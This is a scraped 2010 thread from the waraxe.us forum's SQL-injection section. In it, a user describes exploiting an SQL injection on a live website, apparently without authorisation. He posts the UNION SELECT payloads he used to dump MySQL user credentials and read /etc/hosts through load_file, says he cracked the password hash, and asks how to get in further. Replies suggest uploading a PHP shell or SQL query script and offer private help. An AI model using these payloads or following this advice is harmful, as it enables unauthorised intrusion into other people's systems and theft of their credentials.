Waraxe IT Security Portal
Login or Register
October 16, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 796
Members: 0
Total: 796
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Host/mysql inj help!!!!!!!!!!!!
Post new topicReply to topic View previous topic :: View next topic
Host/mysql inj help!!!!!!!!!!!!
PostPosted: Sun May 23, 2010 3:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




I've exploited a sql bug from a website..and i was wonderin' what i could do with thes followin'..


Code:
union select 1,user(),2,3,4--+


Serveur@192.168.1.60

Code:
union select 1,database(),2,3,4--+


Alm


Code:
union select 1,concat(user,0x3e,password),2,3,4 from mysql.user--


Serveur>pass

(NOTE:well,I'v decrypted the mysql hash and i got the pass)



Code:
union select 1,concat(db,0x3e,host),2,3,4 from mysql.db--



Test>%

Test\_%>%

Caicu>localhost

Alm>localhost


Code:
union select 1,load_file('/etc/hosts'),2,3,4--


bd1.site.com
196.20.60.210



So,
1- I have, user+pwd in plaintext and db name, so what can i do with them?...plz need an answer.
2- I was wondering how I could find the HOST of mysql, to connect trought it.."localhost"
thanks..
View user's profile Send private message
PostPosted: Mon May 24, 2010 8:30 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 24, 2010 8:51 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




capt wrote:
well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?


Thanks for ur..Its mysql 4.x.x version And also I wasnt abel to find the table of admins I tried it manualy ( Brutus forcin'), I just want A solution to connect through MYSQL..
View user's profile Send private message
PostPosted: Tue May 25, 2010 1:49 am Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




you would have to find a way to spawn some type of PHP shell with a mySQL manager or simply uploading your own SQL query script to connect to the db to spit out some information that your wanting.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 2:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




If the mysql server allows external connection you can connect directly, without access to the server.
View user's profile Send private message
PostPosted: Tue May 25, 2010 7:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.


its localhost and rarely any host uses this any more.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 9:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.



I tried to connect directly ..Using applications that allow mysql connection..And It doesnt work. It seem that I must have an access through..


Quote:
its localhost and rarely any host uses this any more.



You're right it is a Localhost, must have an access through..for I can connect, If there any ideas ... paste them here please! Arrow
View user's profile Send private message
PostPosted: Wed May 26, 2010 2:46 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




private message me and we can talk there. Or we can use some type of messenger either way works with me if you want help. Your going to have to find a way to get a working shell up or some type of code that will allow you to run some mySQL querys.
View user's profile Send private message Visit poster's website MSN Messenger
Host/mysql inj help!!!!!!!!!!!!
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.053 Seconds